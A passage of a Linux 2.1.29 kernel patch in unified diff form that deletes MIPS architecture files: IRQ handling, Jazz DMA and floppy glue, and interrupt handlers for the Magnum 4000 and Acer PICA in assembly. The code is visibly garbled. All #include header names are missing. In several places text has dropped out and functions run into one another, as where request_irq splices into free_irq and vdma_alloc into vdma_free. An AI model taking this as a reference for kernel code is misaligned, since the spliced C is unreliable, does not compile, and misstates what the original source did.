/* iBCS2 emulator entry point */ - ret = -EINVAL; - if (get_fs() != get_ds()) - goto out; - ret = sys_shmat (first, (char *) ptr, second, (ulong *) third); - goto out; - } - case SHMDT: - ret = sys_shmdt ((char *)ptr); - goto out; - case SHMGET: - ret = sys_shmget (first, second, third); - goto out; - case SHMCTL: - ret = sys_shmctl (first, second, (struct shmid_ds *) ptr); - goto out; - default: - ret = -EINVAL; - goto out; - } - else - ret = -EINVAL; -out: - unlock_kernel(); - return ret; -#else /* CONFIG_SYSVIPC */ - return -ENOSYS; -#endif /* CONFIG_SYSVIPC */ -} diff -u --recursive --new-file linux-2.1.29/arch/mips/kernel/irq.c linux/arch/mips/kernel/irq.c --- linux-2.1.29/arch/mips/kernel/irq.c Fri Mar 1 00:50:38 1996 +++ linux/arch/mips/kernel/irq.c Wed Dec 31 19:00:00 1969 @@ -1,401 +0,0 @@ -/* - * linux/arch/mips/kernel/irq.c - * - * Copyright (C) 1992 Linus Torvalds - * - * This file contains the code used by various IRQ handling routines: - * asking for different IRQ's should be done through these routines - * instead of just grabbing them. Thus setups with different IRQ numbers - * shouldn't result in any weird surprises, and installing new handlers - * should be easier. - */ - -/* - * IRQ's are in fact implemented a bit like signal handlers for the kernel. - * Naturally it's not a 1:1 relation, but there are similarities. - */ - -/* - * Mips support by Ralf Baechle and Andreas Busse - * - * The Deskstation Tyne is almost completely like an IBM compatible PC with - * another type of microprocessor. Therefore this code is almost completely - * the same. More work needs to be done to support Acer PICA and other - * machines. - */ - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include -#include -#include -#include -#include -#include -#include - -#define TIMER_IRQ 0 /* Keep this in sync with time.c */ - -unsigned char cache_21 = 0xff; -unsigned char cache_A1 = 0xff; - -unsigned long spurious_count = 0; - -void disable_irq(unsigned int irq_nr) -{ - unsigned long flags; - unsigned char mask; - - mask = 1 << (irq_nr & 7); - save_flags(flags); - if (irq_nr < 8) { - cli(); - cache_21 |= mask; - outb(cache_21,0x21); - restore_flags(flags); - return; - } - cli(); - cache_A1 |= mask; - outb(cache_A1,0xA1); - restore_flags(flags); -} - -void enable_irq(unsigned int irq_nr) -{ - unsigned long flags; - unsigned char mask; - - mask = ~(1 << (irq_nr & 7)); - save_flags(flags); - if (irq_nr < 8) { - cli(); - cache_21 &= mask; - outb(cache_21,0x21); - restore_flags(flags); - return; - } - cli(); - cache_A1 &= mask; - outb(cache_A1,0xA1); - restore_flags(flags); -} - -/* - * Pointers to the low-level handlers: first the general ones, then the - * fast ones, then the bad ones. - */ -extern void interrupt(void); -extern void fast_interrupt(void); -extern void bad_interrupt(void); - -/* - * Initial irq handlers. - */ -static struct irqaction timer_irq = { NULL, 0, 0, NULL, NULL, NULL}; -static struct irqaction cascade_irq = { NULL, 0, 0, NULL, NULL, NULL}; -static struct irqaction math_irq = { NULL, 0, 0, NULL, NULL, NULL}; - -static struct irqaction *irq_action[16] = { - NULL, NULL, NULL, NULL, NULL, NULL , NULL, NULL, - NULL, NULL, NULL, NULL, NULL, NULL , NULL, NULL -}; - -int get_irq_list(char *buf) -{ - int i, len = 0; - struct irqaction * action; - - for (i = 0 ; i < 16 ; i++) { - action = *(i + irq_action); - if (!action) - continue; - len += sprintf(buf+len, "%2d: %8d %c %s", - i, kstat.interrupts[i], - (action->flags & SA_INTERRUPT) ? '+' : ' ', - action->name); - for (action=action->next; action; action = action->next) { - len += sprintf(buf+len, ",%s %s", - (action->flags & SA_INTERRUPT) ? " +" : "", - action->name); - } - len += sprintf(buf+len, "\n"); - } - return len; -} - -/* - * do_IRQ handles IRQ's that have been installed without the - * SA_INTERRUPT flag: it uses the full signal-handling return - * and runs with other interrupts enabled. All relatively slow - * IRQ's should use this format: notably the keyboard/timer - * routines. - */ -asmlinkage void do_IRQ(int irq, struct pt_regs * regs) -{ - struct irqaction * action = *(irq + irq_action); - - kstat.interrupts[irq]++; - if (action->flags & SA_SAMPLE_RANDOM) - add_interrupt_randomness(irq); - while (action) { - action->handler(irq, action->dev_id, regs); - action = action->next; - } -} - -/* - * do_fast_IRQ handles IRQ's that don't need the fancy interrupt return - * stuff - the handler is also running with interrupts disabled unless - * it explicitly enables them later. - */ -asmlinkage void do_fast_IRQ(int irq) -{ - struct irqaction * action = *(irq + irq_action); - - kstat.interrupts[irq]++; - if (action->flags & SA_SAMPLE_RANDOM) - add_interrupt_randomness(irq); - while (action) { - action->handler(irq, action->dev_id, NULL); - action = action->next; - } -} - -#define SA_PROBE SA_ONESHOT - -int request_irq(unsigned int irq, - void (*handler)(int, void *, struct pt_regs *), - unsigned long irqflags, - const char * devname, - void *dev_id) -{ - struct irqaction * action, *tmp = NULL; - unsigned long flags; - - if (irq > 15) - return -EINVAL; - if (!handler) - return -EINVAL; - action = *(irq + irq_action); - if (action) { - if ((action->flags & SA_SHIRQ) && (irqflags & SA_SHIRQ)) { - for (tmp = action; tmp->next; tmp = tmp->next); - } else { - return -EBUSY; - } - if ((action->flags & SA_INTERRUPT) ^ (irqflags & SA_INTERRUPT)) { - printk("Attempt to mix fast and slow interrupts on IRQ%d denied\n", irq); - return -EBUSY; - } - } - if (irqflags & SA_SAMPLE_RANDOM) - rand_initialize_irq(irq); - save_flags(flags); - cli(); - if (irq == 2) - action = &cascade_irq; - else if (irq == 13) - action = &math_irq; - else if (irq == TIMER_IRQ) - action = &timer_irq; - else - action = (struct irqaction *)kmalloc(sizeof(struct irqaction), GFP_KERNEL); - - if (!action) { - restore_flags(flags); - return -ENOMEM; - } - - action->handler = handler; - action->flags = irqflags; - action->mask = 0; - action->name = devname; - action->next = NULL; - action->dev_id = dev_id; - - if (tmp) { - tmp->next = action; - } else { - *(irq + irq_action) = action; - if (!(action->flags & SA_PROBE)) {/* SA_ONESHOT used by probing */ - /* - * FIXME: Does the SA_INTERRUPT flag make any sense on MIPS??? - */ - if (action->flags & SA_INTERRUPT) - set_int_vector(irq,fast_interrupt); - else - set_int_vector(irq,interrupt); - } - if (irq < 8) { - cache_21 &= ~(1< 15) { - printk("Trying to free IRQ%d\n",irq); - return; - } - if (!action->handler) { - printk("Trying to free free IRQ%d\n",irq); - return; - } - if (dev_id) { - for (; action; action = action->next) { - if (action->dev_id == dev_id) break; - tmp = action; - } - if (!action) { - printk("Trying to free free shared IRQ%d\n",irq); - return; - } - } else if (action->flags & SA_SHIRQ) { - printk("Trying to free shared IRQ%d with NULL device ID\n", irq); - return; - } - save_flags(flags); - cli(); - if (action && tmp) { - tmp->next = action->next; - } else { - *(irq + irq_action) = action->next; - } - - if ((irq == 2) || (irq == 13) | (irq == TIMER_IRQ)) - memset(action, 0, sizeof(struct irqaction)); - else - kfree_s(action, sizeof(struct irqaction)); - - if (!(*(irq + irq_action))) { - if (irq < 8) { - cache_21 |= 1 << irq; - outb(cache_21,0x21); - } else { - cache_A1 |= 1 << (irq-8); - outb(cache_A1,0xA1); - } - set_int_vector(irq,bad_interrupt); - } - restore_flags(flags); -} - -static void no_action(int cpl, void *dev_id, struct pt_regs * regs) { } - -unsigned long probe_irq_on (void) -{ - unsigned int i, irqs = 0, irqmask; - unsigned long delay; - - /* first, snaffle up any unassigned irqs */ - for (i = 15; i > 0; i--) { - if (!request_irq(i, no_action, SA_PROBE, "probe", NULL)) { - enable_irq(i); - irqs |= (1 << i); - } - } - - /* wait for spurious interrupts to mask themselves out again */ - for (delay = jiffies + 2; delay > jiffies; ); /* min 10ms delay */ - - /* now filter out any obviously spurious interrupts */ - irqmask = (((unsigned int)cache_A1)<<8) | (unsigned int)cache_21; - for (i = 15; i > 0; i--) { - if (irqs & (1 << i) & irqmask) { - irqs ^= (1 << i); - free_irq(i, NULL); - } - } -#ifdef DEBUG - printk("probe_irq_on: irqs=0x%04x irqmask=0x%04x\n", irqs, irqmask); -#endif - return irqs; -} - -int probe_irq_off (unsigned long irqs) -{ - unsigned int i, irqmask; - - irqmask = (((unsigned int)cache_A1)<<8) | (unsigned int)cache_21; - for (i = 15; i > 0; i--) { - if (irqs & (1 << i)) { - free_irq(i, NULL); - } - } -#ifdef DEBUG - printk("probe_irq_off: irqs=0x%04x irqmask=0x%04x\n", irqs, irqmask); -#endif - irqs &= irqmask; - if (!irqs) - return 0; - i = ffz(~irqs); - if (irqs != (irqs & (1 << i))) - i = -i; - return i; -} - -void init_IRQ(void) -{ - int i; - - switch (boot_info.machtype) { - case MACH_MIPS_MAGNUM_4000: - case MACH_ACER_PICA_61: - r4030_write_reg16(JAZZ_IO_IRQ_ENABLE, - JAZZ_IE_ETHERNET | - JAZZ_IE_SERIAL1 | - JAZZ_IE_SERIAL2 | - JAZZ_IE_PARALLEL | - JAZZ_IE_FLOPPY); - r4030_read_reg16(JAZZ_IO_IRQ_SOURCE); /* clear pending IRQs */ - set_cp0_status(ST0_IM, IE_IRQ4 | IE_IRQ1); - /* set the clock to 100 Hz */ - r4030_write_reg32(JAZZ_TIMER_INTERVAL, 9); - break; - case MACH_DESKSTATION_TYNE: - /* set the clock to 100 Hz */ - outb_p(0x34,0x43); /* binary, mode 2, LSB/MSB, ch 0 */ - outb_p(LATCH & 0xff , 0x40); /* LSB */ - outb(LATCH >> 8 , 0x40); /* MSB */ - - if (request_irq(2, no_action, SA_INTERRUPT, "cascade", NULL)) - printk("Unable to get IRQ2 for cascade\n"); - break; - default: - panic("Unknown machtype in init_IRQ"); - } - - for (i = 0; i < 16 ; i++) - set_int_vector(i, bad_interrupt); - - /* initialize the bottom half routines. */ - for (i = 0; i < 32; i++) { - bh_base[i].routine = NULL; - bh_base[i].data = NULL; - } - bh_active = 0; - intr_count = 0; -} diff -u --recursive --new-file linux-2.1.29/arch/mips/kernel/jazz-c.c linux/arch/mips/kernel/jazz-c.c --- linux-2.1.29/arch/mips/kernel/jazz-c.c Wed Dec 13 05:39:43 1995 +++ linux/arch/mips/kernel/jazz-c.c Wed Dec 31 19:00:00 1969 @@ -1,99 +0,0 @@ -/* - * Jazz specific C parts - * - * This file is subject to the terms and conditions of the GNU General Public - * License. See the file "COPYING" in the main directory of this archive - * for more details. - * - * Copyright (C) 1995 by Ralf Baechle - */ -#include - -#include -#include -#include -#include - -unsigned char jazz_fd_inb(unsigned int port) -{ - unsigned char c; - - c = *(volatile unsigned char *) port; - udelay(1); - - return c; -} - -void jazz_fd_outb(unsigned char value, unsigned int port) -{ - *(volatile unsigned char *) port = value; -} - -/* - * How to access the floppy DMA functions. - */ -void jazz_fd_enable_dma(void) -{ - vdma_enable(JAZZ_FLOPPY_DMA); -} - -void jazz_fd_disable_dma(void) -{ - vdma_disable(JAZZ_FLOPPY_DMA); -} - -int jazz_fd_request_dma(void) -{ - return 0; -} - -void jazz_fd_free_dma(void) -{ -} - -void jazz_fd_clear_dma_ff(void) -{ -} - -void jazz_fd_set_dma_mode(char mode) -{ - vdma_set_mode(JAZZ_FLOPPY_DMA, mode); -} - -void jazz_fd_set_dma_addr(unsigned int a) -{ - vdma_set_addr(JAZZ_FLOPPY_DMA, vdma_phys2log(PHYSADDR(a))); -} - -void jazz_fd_set_dma_count(unsigned int count) -{ - vdma_set_count(JAZZ_FLOPPY_DMA, count); -} - -int jazz_fd_get_dma_residue(void) -{ - return vdma_get_residue(JAZZ_FLOPPY_DMA); -} - -void jazz_fd_enable_irq(void) -{ -} - -void jazz_fd_disable_irq(void) -{ -} - -void jazz_fd_cacheflush(unsigned char *addr, unsigned int size) -{ - sys_cacheflush((void *)addr, size, DCACHE); -} - -unsigned char jazz_rtc_read_data(void) -{ - return *(char *)JAZZ_RTC_BASE; -} - -void jazz_rtc_write_data(unsigned char data) -{ - *(char *)JAZZ_RTC_BASE = data; -} diff -u --recursive --new-file linux-2.1.29/arch/mips/kernel/jazzdma.c linux/arch/mips/kernel/jazzdma.c --- linux-2.1.29/arch/mips/kernel/jazzdma.c Fri Apr 12 02:49:30 1996 +++ linux/arch/mips/kernel/jazzdma.c Wed Dec 31 19:00:00 1969 @@ -1,513 +0,0 @@ -/* - * jazzdma.c - * - * Mips Jazz DMA controller support - * (C) 1995 Andreas Busse - * - * NOTE: Some of the argument checking could be removed when - * things have settled down. Also, instead of returning 0xffffffff - * on failure of vdma_alloc() one could leave page #0 unused - * and return the more usual NULL pointer as logical address. - * - */ -#include -#include -#include -#include -#include -#include -#include -#include -#include - - -static unsigned long vdma_pagetable_start = 0; -static unsigned long vdma_pagetable_end = 0; - -/* - * Debug stuff - */ -#define vdma_debug ((CONF_DEBUG_VDMA) ? debuglvl : 0) - -static int debuglvl = 3; - -/* - * Local prototypes - */ -static void vdma_pgtbl_init(void); - -/* - * Initialize the Jazz R4030 dma controller - */ -unsigned long vdma_init(unsigned long memory_start, unsigned long memory_end) -{ - /* - * Allocate 32k of memory for DMA page tables. - * This needs to be page aligned and should be - * uncached to avoid cache flushing after every - * update. - */ - vdma_pagetable_start = KSEG1ADDR((memory_start + 4095) & ~4095); - vdma_pagetable_end = vdma_pagetable_start + VDMA_PGTBL_SIZE; - - /* - * Clear the R4030 translation table - */ - vdma_pgtbl_init(); - - r4030_write_reg32(JAZZ_R4030_TRSTBL_BASE,PHYSADDR(vdma_pagetable_start)); - r4030_write_reg32(JAZZ_R4030_TRSTBL_LIM,VDMA_PGTBL_SIZE); - r4030_write_reg32(JAZZ_R4030_TRSTBL_INV,0); - - printk("VDMA: R4030 DMA pagetables initialized.\n"); - return KSEG0ADDR(vdma_pagetable_end); -} - -/* - * Allocate DMA pagetables using a simple first-fit algorithm - */ -unsigned long vdma_alloc(unsigned long paddr, unsigned long size) -{ - VDMA_PGTBL_ENTRY *entry = (VDMA_PGTBL_ENTRY *)vdma_pagetable_start; - int first; - int last; - int pages; - unsigned int frame; - unsigned long laddr; - int i; - - /* check arguments */ - - if (paddr > 0x1fffffff) - { - if (vdma_debug) - printk("vdma_alloc: Invalid physical address: %08lx\n",paddr); - return VDMA_ERROR; /* invalid physical address */ - } - if (size > 0x400000 || size == 0) - { - if (vdma_debug) - printk("vdma_alloc: Invalid size: %08lx\n",size); - return VDMA_ERROR; /* invalid physical address */ - } - - /* find free chunk */ - pages = (size + 4095) >> 12; /* no. of pages to allocate */ - first = 0; - while (1) - { - while (entry[first].owner != VDMA_PAGE_EMPTY && - first < VDMA_PGTBL_ENTRIES) - first++; - if (first+pages > VDMA_PGTBL_ENTRIES) /* nothing free */ - return VDMA_ERROR; - - last = first+1; - while (entry[last].owner == VDMA_PAGE_EMPTY && last-first < pages) - last++; - - if (last-first == pages) - break; /* found */ - } - - /* mark pages as allocated */ - - laddr = (first << 12) + (paddr & (VDMA_PAGESIZE-1)); - frame = paddr & ~(VDMA_PAGESIZE-1); - - for (i=first; i 1) - printk("vdma_alloc: Allocated %d pages starting from %08lx\n", - pages,laddr); - - if (vdma_debug > 2) - { - printk("LADDR: "); - for (i=first; i> 12; - - if (pgtbl[i].owner != laddr) - { - printk("vdma_free: trying to free other's dma pages, laddr=%8lx\n", - laddr); - return -1; - } - - while (pgtbl[i].owner == laddr && i < VDMA_PGTBL_ENTRIES) - { - pgtbl[i].owner = VDMA_PAGE_EMPTY; - i++; - } - - if (vdma_debug > 1) - printk("vdma_free: freed %ld pages starting from %08lx\n", - i-(laddr>>12),laddr); - - return 0; -} - -/* - * Map certain page(s) to another physical address. - * Caller must have allocated the page(s) before. - */ -int vdma_remap(unsigned long laddr, unsigned long paddr, unsigned long size) -{ - VDMA_PGTBL_ENTRY *pgtbl = (VDMA_PGTBL_ENTRY *)vdma_pagetable_start; - int first; - int pages; - - if (laddr > 0xffffff) - { - if (vdma_debug) - printk("vdma_map: Invalid logical address: %08lx\n",laddr); - return -EINVAL; /* invalid logical address */ - } - if (paddr > 0x1fffffff) - { - if (vdma_debug) - printk("vdma_map: Invalid physical address: %08lx\n",paddr); - return -EINVAL; /* invalid physical address */ - } - - pages = (((paddr & (VDMA_PAGESIZE-1)) + size) >> 12) + 1; - first = laddr >> 12; - if (vdma_debug) - printk("vdma_remap: first=%x, pages=%x\n",first,pages); - if (first+pages > VDMA_PGTBL_ENTRIES) - { - if (vdma_debug) - printk("vdma_alloc: Invalid size: %08lx\n",size); - return -EINVAL; - } - - paddr &= ~(VDMA_PAGESIZE-1); - while (pages > 0 && first < VDMA_PGTBL_ENTRIES) - { - if (pgtbl[first].owner != laddr) - { - if (vdma_debug) - printk("Trying to remap other's pages.\n"); - return -EPERM; /* not owner */ - } - pgtbl[first].frame = paddr; - paddr += VDMA_PAGESIZE; - first++; - pages--; - } - - /* update translation table */ - - r4030_write_reg32(JAZZ_R4030_TRSTBL_INV,0); - - if (vdma_debug > 2) - { - int i; - pages = (((paddr & (VDMA_PAGESIZE-1)) + size) >> 12) + 1; - first = laddr >> 12; - printk("LADDR: "); - for (i=first; i> 12].frame + (laddr & (VDMA_PAGESIZE-1)); -} - -/* - * Initialize the pagetable with a one-to-one mapping of - * the first 16 Mbytes of main memory and declare all - * entries to be unused. Using this method will at least - * allow some early device driver operations to work. - */ -static void vdma_pgtbl_init(void) -{ - int i; - unsigned long paddr = 0; - VDMA_PGTBL_ENTRY *pgtbl = (VDMA_PGTBL_ENTRY *)vdma_pagetable_start; - - for (i=0; i -#include -#include -#include - -/* - * mips_magnum_4000_handle_int: Interrupt handler for Mips Magnum 4000 - */ - .set noreorder - - NESTED(mips_magnum_4000_handle_int, FR_SIZE, ra) - .set noat - SAVE_ALL - CLI - .set at - - /* - * Get pending interrupts - */ - mfc0 t0,CP0_CAUSE # get pending interrupts - mfc0 t1,CP0_STATUS # get enabled interrupts - and t0,t1 # isolate allowed ones - andi t0,0xff00 # isolate pending bits - beqz t0,spurious_interrupt - sll t0,16 # delay slot - - /* - * Find irq with highest priority - * FIXME: This is slow - */ - la t1,ll_vectors -1: bltz t0,2f # found pending irq - sll t0,1 - b 1b - subu t1,PTRSIZE # delay slot - - /* - * Do the low-level stuff - */ -2: lw t0,(t1) - jr t0 - nop # delay slot - END(mips_magnum_4000_handle_int) - -/* - * Used for keyboard driver's fake_keyboard_interrupt() - */ -ll_sw0: li s1,~IE_SW0 - mfc0 t0,CP0_CAUSE - and t0,s1 - mtc0 t0,CP0_CAUSE - PRINT("sw0 received...\n") - li t1,1 - b call_real - li t3,PTRSIZE # delay slot, re-map to irq level 1 - -ll_sw1: li s1,~IE_SW1 - PANIC("Unimplemented sw1 handler") - -ll_local_dma: li s1,~IE_IRQ0 - PANIC("Unimplemented local_dma handler") - -ll_local_dev: lbu t0,JAZZ_IO_IRQ_SOURCE -#if __mips == 3 - dsll t0,1 - ld t0,local_vector(t0) -#else /* 32 bit */ - lw t0,local_vector(t0) -#endif - jr t0 - nop - - -loc_no_irq: PANIC("Unimplemented loc_no_irq handler") -loc_sound: PANIC("Unimplemented loc_sound handler") -loc_video: PANIC("Unimplemented loc_video handler") -loc_scsi: PANIC("Unimplemented loc_scsi handler") - -/* - * Keyboard interrupt handler - */ -loc_keyboard: li s1,~JAZZ_IE_KEYBOARD - li t1,JAZZ_KEYBOARD_IRQ - b loc_call - li t3,PTRSIZE*JAZZ_KEYBOARD_IRQ # delay slot - -/* - * Ethernet interrupt handler, remapped to level 2 - */ -loc_ethernet: /* PRINT ("ethernet IRQ\n"); */ - li s1,~JAZZ_IE_ETHERNET - li t1,JAZZ_ETHERNET_IRQ - b loc_call - li t3,PTRSIZE*JAZZ_ETHERNET_IRQ # delay slot - - -loc_mouse: PANIC("Unimplemented loc_mouse handler") - -/* - * Serial port 1 IRQ, remapped to level 3 - */ -loc_serial1: li s1,~JAZZ_IE_SERIAL1 - li t1,JAZZ_SERIAL1_IRQ - b loc_call - li t3,PTRSIZE*JAZZ_SERIAL1_IRQ # delay slot - -/* - * Serial port 2 IRQ, remapped to level 4 - */ -loc_serial2: li s1,~JAZZ_IE_SERIAL2 - li t1,JAZZ_SERIAL2_IRQ - b loc_call - li t3,PTRSIZE*JAZZ_SERIAL2_IRQ # delay slot - -/* - * Parallel port IRQ, remapped to level 5 - */ -loc_parallel: li s1,~JAZZ_IE_PARALLEL - li t1,JAZZ_PARALLEL_IRQ - b loc_call - li t3,PTRSIZE*JAZZ_PARALLEL_IRQ # delay slot - -/* - * Floppy IRQ, remapped to level 6 - */ -loc_floppy: li s1,~JAZZ_IE_FLOPPY - li t1,JAZZ_FLOPPY_IRQ - b loc_call - li t3,PTRSIZE*JAZZ_FLOPPY_IRQ # delay slot - -/* - * Now call the real handler - */ -loc_call: lui s3,%hi(intr_count) - lw t2,%lo(intr_count)(s3) - la t0,IRQ_vectors # delay slot - addiu t2,1 - sw t2,%lo(intr_count)(s3) - - /* - * Temporarily disable interrupt source - */ - lhu t2,JAZZ_IO_IRQ_ENABLE - addu t0,t3 # make ptr to IRQ handler - lw t0,(t0) - and t2,s1 # delay slot - sh t2,JAZZ_IO_IRQ_ENABLE - jalr t0 # call IRQ handler - nor s1,zero,s1 # delay slot - - /* - * Reenable interrupt - */ - lhu t2,JAZZ_IO_IRQ_ENABLE - lw t1,%lo(intr_count)(s3) # delay slot - or t2,s1 - sh t2,JAZZ_IO_IRQ_ENABLE - - subu t1,1 - jr v0 - sw t1,%lo(intr_count)(s3) - -ll_eisa_irq: li s1,~IE_IRQ2 - PANIC("Unimplemented eisa_irq handler") - -ll_eisa_nmi: li s1,~IE_IRQ3 - PANIC("Unimplemented eisa_nmi handler") - -/* - * Timer IRQ - * We remap the timer irq to be more similar to a IBM compatible - */ -ll_timer: lw t0,JAZZ_TIMER_REGISTER # timer irq cleared on read - li s1,~IE_IRQ4 - li t1,0 - b call_real - li t3,0 # delay slot, re-map to irq level 0 - -/* - * CPU count/compare IRQ (unused) - */ -ll_count: j return - mtc0 zero,CP0_COMPARE - -/* - * Now call the real handler - */ -call_real: lui s3,%hi(intr_count) - lw t2,%lo(intr_count)(s3) - la t0,IRQ_vectors # delay slot - addiu t2,1 - sw t2,%lo(intr_count)(s3) - - /* - * temporarily disable interrupt - */ - mfc0 t2,CP0_STATUS - and t2,s1 - - addu t0,t3 - lw t0,(t0) - mtc0 t2,CP0_STATUS # delay slot - jalr t0 - nor s1,zero,s1 # delay slot - - /* - * reenable interrupt - */ - mfc0 t2,CP0_STATUS - or t2,s1 - mtc0 t2,CP0_STATUS - - lw t2,%lo(intr_count)(s3) - subu t2,1 - - jr v0 - sw t2,%lo(intr_count)(s3) - -/* - * Just for debugging... - */ - LEAF(drawline) - li t1,0xffffffff - li t2,0x100 -1: sw t1,(a0) - addiu a0,a0,4 - addiu t2,t2,-1 - bnez t2,1b - nop - jr ra - nop - END(drawline) - - - .data - PTR ll_sw0 # SW0 - PTR ll_sw1 # SW1 - PTR ll_local_dma # Local DMA - PTR ll_local_dev # Local devices - PTR ll_eisa_irq # EISA IRQ - PTR ll_eisa_nmi # EISA NMI - PTR ll_timer # Timer -ll_vectors: PTR ll_count # Count/Compare IRQ - -local_vector: PTR loc_no_irq - PTR loc_parallel - PTR loc_floppy - PTR loc_sound - PTR loc_video - PTR loc_ethernet - PTR loc_scsi - PTR loc_keyboard - PTR loc_mouse - PTR loc_serial1 - PTR loc_serial2 - - .align 5 -LEAF(spurious_interrupt) - /* - * Nothing happened... (whistle) - */ - lui t1,%hi(spurious_count) - lw t0,%lo(spurious_count)(t1) - la v0,return - addiu t0,1 - jr ra - sw t0,%lo(spurious_count)(t1) - END(spurious_interrupt) - diff -u --recursive --new-file linux-2.1.29/arch/mips/kernel/pica.S linux/arch/mips/kernel/pica.S --- linux-2.1.29/arch/mips/kernel/pica.S Wed Dec 13 05:39:43 1995 +++ linux/arch/mips/kernel/pica.S Wed Dec 31 19:00:00 1969 @@ -1,268 +0,0 @@ -/* - * arch/mips/kernel/pica.S - * - * Copyright (C) 1995 Waldorf Electronics - * written by Ralf Baechle and Andreas Busse - * - * Acer PICA 61 specific stuff - */ -#include -#include -#include -#include -#include - -/* - * acer_pica_61_handle_int: Interrupt handler for the ACER Pica-61 boards - * FIXME: this is *very* experimental! - */ - .set noreorder - - NESTED(acer_pica_61_handle_int, FR_SIZE, ra) - .set noat - SAVE_ALL - CLI - .set at - - /* - * Get pending interrupts - */ - mfc0 t0,CP0_CAUSE # get pending interrupts - mfc0 t1,CP0_STATUS # get enabled interrupts - and t0,t1 # isolate allowed ones - andi t0,0xff00 # isolate pending bits - beqz t0,spurious_interrupt - sll t0,16 # delay slot - - /* - * Find irq with highest priority - * FIXME: This is slow - use binary search - */ - la t1,ll_vectors -1: bltz t0,2f # found pending irq - sll t0,1 - b 1b - subu t1,PTRSIZE # delay slot - - /* - * Do the low-level stuff - */ -2: lw t0,(t1) - jr t0 - nop # delay slot - END(acer_pica_61_handle_int) - -/* - * Used for keyboard driver's fake_keyboard_interrupt() - */ -ll_sw0: li s1,~IE_SW0 - mfc0 t0,CP0_CAUSE - and t0,s1 - mtc0 t0,CP0_CAUSE - PRINT("sw0 received...\n") - li t1,1 - b call_real - li t3,PTRSIZE # delay slot, re-map to irq level 1 - -ll_sw1: li s1,~IE_SW1 - PANIC("Unimplemented sw1 handler") - -ll_local_dma: li s1,~IE_IRQ0 - PANIC("Unimplemented local_dma handler") - -ll_local_dev: lbu t0,JAZZ_IO_IRQ_SOURCE -#if __mips == 3 - dsll t0,1 - ld t0,local_vector(t0) -#else /* 32 bit */ - lw t0,local_vector(t0) -#endif - jr t0 - nop - - -loc_no_irq: PANIC("Unimplemented loc_no_irq handler") -/* - * Parallel port IRQ, remapped to level 5 - */ -loc_parallel: li s1,~JAZZ_IE_PARALLEL - li t1,JAZZ_PARALLEL_IRQ - b loc_call - li t3,PTRSIZE*JAZZ_PARALLEL_IRQ # delay slot - -/* - * Floppy IRQ, remapped to level 6 - */ -loc_floppy: li s1,~JAZZ_IE_FLOPPY - li t1,JAZZ_FLOPPY_IRQ - b loc_call - li t3,PTRSIZE*JAZZ_FLOPPY_IRQ # delay slot - -/* - * Now call the real handler - */ -loc_call: lui s3,%hi(intr_count) - lw t2,%lo(intr_count)(s3) - la t0,IRQ_vectors # delay slot - addiu t2,1 - sw t2,%lo(intr_count)(s3) - - /* - * Temporarily disable interrupt source - */ - lhu t2,JAZZ_IO_IRQ_ENABLE - addu t0,t3 # make ptr to IRQ handler - lw t0,(t0) - and t2,s1 # delay slot - sh t2,JAZZ_IO_IRQ_ENABLE - jalr t0 # call IRQ handler - nor s1,zero,s1 # delay slot - - /* - * Reenable interrupt - */ - lhu t2,JAZZ_IO_IRQ_ENABLE - lw t1,%lo(intr_count)(s3) # delay slot - or t2,s1 - sh t2,JAZZ_IO_IRQ_ENABLE - - subu t1,1 - jr v0 - sw t1,%lo(intr_count)(s3) # delay slot - -ll_isa_irq: li s1,~IE_IRQ2 - PANIC("Unimplemented isa_irq handler") - -ll_isa_nmi: li s1,~IE_IRQ3 - PANIC("Unimplemented isa_nmi handler") - -/* - * Timer IRQ - * We remap the timer irq to be more similar to an IBM compatible - */ -ll_timer: lw zero,JAZZ_TIMER_REGISTER # timer irq cleared on read - li s1,~IE_IRQ4 - li t1,0 - b call_real - li t3,0 # delay slot, re-map to irq level 0 - -/* - * CPU count/compare IRQ (unused) - */ -ll_count: j return - mtc0 zero,CP0_COMPARE - -/* - * Now call the real handler - */ -call_real: lui s3,%hi(intr_count) - lw t2,%lo(intr_count)(s3) - la t0,IRQ_vectors - addiu t2,1 - sw t2,%lo(intr_count)(s3) - - /* - * temporarily disable interrupt - */ - mfc0 t2,CP0_STATUS - and t2,s1 - - addu t0,t3 - lw t0,(t0) - mtc0 t2,CP0_STATUS # delay slot - jalr t0 - nor s1,zero,s1 # delay slot - - /* - * reenable interrupt - */ - mfc0 t2,CP0_STATUS - or t2,s1 - mtc0 t2,CP0_STATUS - - lw t2,%lo(intr_count)(s3) - subu t2,1 - - jr v0 - sw t2,%lo(intr_count)(s3) - - .data - PTR ll_sw0 # SW0 - PTR ll_sw1 # SW1 - PTR ll_local_dma # Local DMA - PTR ll_local_dev # Local devices - PTR ll_isa_irq # ISA IRQ - PTR ll_isa_nmi # ISA NMI - PTR ll_timer # Timer -ll_vectors: PTR ll_count # Count/Compare IRQ - - -/* - * Sound? What sound hardware (whistle) ??? - */ -loc_sound: PANIC("Unimplemented loc_sound handler") -loc_video: PANIC("Unimplemented loc_video handler") - -/* - * Ethernet interrupt handler, remapped to level 2 - */ -loc_ethernet: li s1,~JAZZ_IE_ETHERNET - li t1,JAZZ_ETHERNET_IRQ - b loc_call - li t3,PTRSIZE*JAZZ_ETHERNET_IRQ # delay slot - -loc_scsi: PANIC("Unimplemented loc_scsi handler") - -/* - * Keyboard interrupt handler - */ -loc_keyboard: li s1,~JAZZ_IE_KEYBOARD - li t1,JAZZ_KEYBOARD_IRQ - b loc_call - li t3,PTRSIZE*JAZZ_KEYBOARD_IRQ # re-map to irq level 1 - -loc_mouse: PANIC("Unimplemented loc_mouse handler") - -/* - * Serial port 1 IRQ, remapped to level 3 - */ -loc_serial1: li s1,~JAZZ_IE_SERIAL1 - li t1,JAZZ_SERIAL1_IRQ - b loc_call - li t3,PTRSIZE*JAZZ_SERIAL1_IRQ # delay slot - -/* - * Serial port 2 IRQ, remapped to level 4 - */ -loc_serial2: li s1,~JAZZ_IE_SERIAL2 - li t1,JAZZ_SERIAL2_IRQ - b loc_call - li t3,PTRSIZE*JAZZ_SERIAL2_IRQ # delay slot - - .data -local_vector: PTR loc_no_irq - PTR loc_parallel - PTR loc_floppy - PTR loc_sound - PTR loc_video - PTR loc_ethernet - PTR loc_scsi - PTR loc_keyboard - PTR loc_mouse - PTR loc_serial1 - PTR loc_serial2 - - .align 5 - .text -LEAF(spurious_interrupt) - /* - * Nothing happened... (whistle) - */ - lui t1,%hi(spurious_count) - lw t0,%lo(spurious_count)(t1) - la v0,return - addiu t0,1 - jr ra - sw t0,%lo(spurious_count)(t1) - END(spurious_interrupt) - diff -u --recursive --new-file 